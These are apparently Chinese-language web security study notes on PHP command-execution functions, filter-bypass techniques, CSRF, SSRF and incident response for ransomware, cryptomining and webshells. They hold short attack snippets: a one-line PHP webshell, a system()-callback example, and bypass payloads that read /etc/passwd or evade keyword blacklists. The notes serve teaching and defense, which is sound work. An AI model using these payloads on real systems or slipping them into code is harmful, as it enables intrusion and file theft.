- $_GET['a']($_POST[_]);
2.命令执行漏洞
什么是命令执行漏洞
命令执行漏洞是指可以执行系统或者应用指令(CMD命令或者bash命令)的漏洞,主要是由于WEB应用基于一些函数的参数过滤不严导致。
php命令执行漏洞的常用函数
1.string system( string $command[, int &$return_var] )
函数执行 command 参数所指定的命令,并且输出执行结果。
2. string exec( string $command[, array &$output[, int &$return_var]] )
exec() 执行 command 参数所指定的命令。
3. string shell_exec( string $cmd)
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
4. void passthru( string $command[, int &$return_var] )
执行外部程序并且显示原始输出。
5. ``反引号
例如`ls`,反引号的内容会被当做系统命令执行,其中内部就是执行了shell_exec()函数进行处理。
6. void pcntl_exec( string $path[, array $args[, array $envs]] )
pcntl是php的多进程处理扩展,在处理大量任务的情况下会使用到,pcntl需要额外安装。$path为可执行程序路径(/bin/bash)。$args表示传递给$path程序的参数。 例如pcntl_exec(“/bin/bash" , array("whoami"));
7. resource popen( string $command, string $mode)
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 例如popen('whoami >> 123.txt', 'r');
8. resource proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd[, array $env[, array $other_options]]] )
执行一个命令,并且打开用来输入/输出的文件指针。类似 popen() 函数,但是 proc_open() 提供了更加强大的控制程序执行的能力。
9. bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。
可选参数 $output_callback如果被指定。当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数) 送出、清洗的时候;或者在请求结束之际该回调函数将会被调用。
当调用时,输出缓冲区的内容会被当做参数去执行,并返回一个新的输出缓冲区作为结果,并被送到浏览器。
例如:
$cmd = 'system’;
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
简单的说,以上代码中当运行ob_end_flush()后,$_GET[a]会被system()函数当作参数去运行,并返回运行的结果
3.命令执行漏洞绕过
命令操作符
1.cmd1 | cmd2 (|管道操作符) :将cmd1的结果输出给cmd2
2. cmd1 & cmd2 (&和号操作符): 让命令在后台运行
3. cmd1 ; cmd2 (; 分号操作符) :执行多条命令。
4. cmd1 && cmd2 (&& 与操作符): 只有cmd1命令执行成功后,才会执行cmd2。
5. cmd1 || cmd2 (|| 或操作符): cmd1执行失败,才会执行cmd2。
空格绕过
1.字符串拼接 :IFS(内部域分隔),是Shell的内置变量,是一个用于分割字段的字符列表,默认值是空白(包括空格、tab、换行)。
2. 使用{} :例如{cat,text}
3. 使用Tab: ?_=cat%09/etc/passwd
4. 在读取文件的时候利用重定向符<>:
cat<>text
cat<text
黑名单关键字绕过
1. 字符串拼接: a=c;b=at;c=tes;d=t.txt;$a$b ${c}${d}
2. 利用环境变量
echo ${SHELLOPTS}
echo ${SHELLOPTS:3:1}
${SHELLOPTS:3:1}at test.txt
3. 使用空变量 :
Cat t${x}ext
cat te${s}st.txt
4. 利用Linux通配符(? *) :cat test*
5. 使用反斜杠: \ 在bash中被解释为转义字符,用于去除一个单个字符的特殊意义,它保留了跟随在之后的字符的字面值,除了换行符。如果在反斜线之后出现换行字符,转义字符使行得以继续。
6. 使用base64编码 :
echo t | base64
ca$(echo "dAo="|base64 -d) test.txt
无回显情况
1. 使用HTTP通道带出数据
2. 使用DNS通道带出数据
3. 使用HTTP通道带出数据,数据经过base64编码
4.命令执行漏洞案例
5.代码与命令执行漏洞防御
- 代码/命令执行函数的参数白名单,结合正则表达式来进行白名单限制。
- 对参数进行严格的过滤。
客户端请求伪造(csrf)
原理
CSRF漏洞是因为web应用程序在用户进行敏感操作时,如修改账号密码、添加账号、转账等,没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为。
一次CSRF攻击的过程中,受害者需要依次完成两个步骤
- 登录受信任网站A,并在本地生成Cookie 。
- 在A的cookie存活期内,访问危险网站B。
CSRF漏洞危害
1、CSRF漏洞会导致受害人在不知情的情况下向论坛发帖子、订阅邮件列表、网购或股票交易,或变更用户名或口令。对受到防火墙保护的所有web应用程序而言,CSRF攻击都能绕过防火墙攻击web应用。
2、CSRF漏洞还可以和XSS等漏洞结合使用,从而进一步加大了该漏洞的危害。
3、伪造HTTP请求进行未授权操作:
- 篡改、盗取目标网站上的重要用户数据。
- 未经允许执行对用户名誉或者资产有害的操作,比如:散播不良信息、进行消费等。
- 如果通过使用社工等方式攻击网站管理员,会危害网站本身的安全性。
4、作为其他攻击向量的辅助攻击手法,比如配合XSS。
5、传播CSRF蠕虫。
防御方法
- Referer验证
- Token验证
- 增加验证码验证
服务端请求伪造漏洞(ssrf)
什么是SSRF
服务端请求伪造攻击(Server-side Request Forgery)简称SSRF,当WEB应用提供了从其他服务器获取数据的功能,但没有对远程服务器地址和远程服务器返回的信息进行合理的验证和过滤,就可能存在这种服务端请求伪造。(可以利用发起网络请求的服务,当作跳板来攻击其他服务)
SSRF可以做什么
- 可以扫描内部网络,获得端口、服务信息
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网Web应用进行指纹识别,通过访问默认文件实现
- 对内部任意主机和任意端口发送精心构造的请求包进行攻击(struts2、SQL注入)
- 利用file协议读取本地文件
- 能够闯过网络防火墙的通行证
如何查看是否存在SSRF
(能够对外发起网络请求的地方,就可能存在SSRF)
- 从远程服务器请求资源(图片代下载)
- 转码服务
- 在线翻译
- 未公开的api实现以及其他调用URL的功能
- 数据库内置功能
- Webmail收取其他邮箱邮件(pop3,imap,smtp)
- 文件处理,编码处理,属性处理(xmlrpc.xml)
1.SSRF利用
SSRF常见利用协议
- file://协议:使用file协议读取源码敏感文件,配合fuzz字典,信息搜集
- dict://协议:使用dict://协议刺探内网端口信息
- Gopher://协议
SSRF+REDIS写入WEBSHEEL
Redis 任意文件写入漏洞现在非常常见,很多情况下内网中都会存在 root 权限运行的 Redis 服务,可以利用SSRF 来穿透内网,在利用 Gopher 协议攻击内网中的 Redis。
SSRF绕过
- 短网址绕过
利用各大短地址生成平台,生成短的地址,绕过长度限制
- 指向任意IP的域名xip.io
- IP限制绕过
- 协议限制绕过
SSRF进阶利用
log
time
其实不只在sql注入和命令执行中有时间盲注,ssrf也有,端口开放不开放产生的时间延迟说不定也有规律可寻
dns rebinding
SSRF防御
- 过滤返回信息
- 统一错误信息。
- 限制请求的端口为http常用的端口
- 黑名单内网ip
- 禁用不需要的协议
- 禁止30x跳转
- 不跟随跳转
反序列化漏洞
什么是序列化和反序列化
php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。
- php序列化的函数为serialize(),可以将对象中的成员变量转换成字符串。
- 反序列化的函数为unserilize(),可以将serialize生成的字符串重新还原为对象中的成员变量。
php魔术方法
应急响应
勒索
第一步:先询问是否是终端、服务器类型、开启的服务、安全设备、对互联网开不开,受影响的资产数、主机是什么异常、看是否可以解密。
第二步:上机根据文件时间查看windows日志文件(win+R输入命令:eventvwr),查看服务日志,根据日志的post请求复现攻击,是否有爆破信息,查找恶是否意进程,找到落地文件后,关闭进程。
提供建议:定期修改密码,做好备份,安装安全软件。
删除有害程序后,又被迫害了,可能原因:删的不是根本文件,主机又被攻击,主机可以下载病毒文件。
挖矿
zabbix(音同 zæbix)
是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。 zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。 zabbix由2部分构成,zabbix server与可选组件zabbix agent。 zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上
特征:会资源占用搞、会解析恶意域名、CPU占用多
在出口/防火墙上,将dns解析到黑洞点,让别人不知道你被挖矿了
开始了解的相关信息
啥主机、出问题的时间、有几台主机出了问题
找
Windows看任务管理器/Linux看top命令——>看异常进程的位置和时间——>看主机开启的服务、开机启动项、进程、应用等——>问是否看了杂七杂八的信息和网站——>问病毒的落地文件是否是自己下的
内网的Linux服务器都中招了(若只有个别的主机,要先隔离)
找台主机上机——>看爆破日志——>
webshell
排查步骤(有安全设备)
问服务器类型——>看是否有本地的远程连接或绘画连接——>隔离木马——>查看中间件的日志——>看木马上传的时间——>提供建议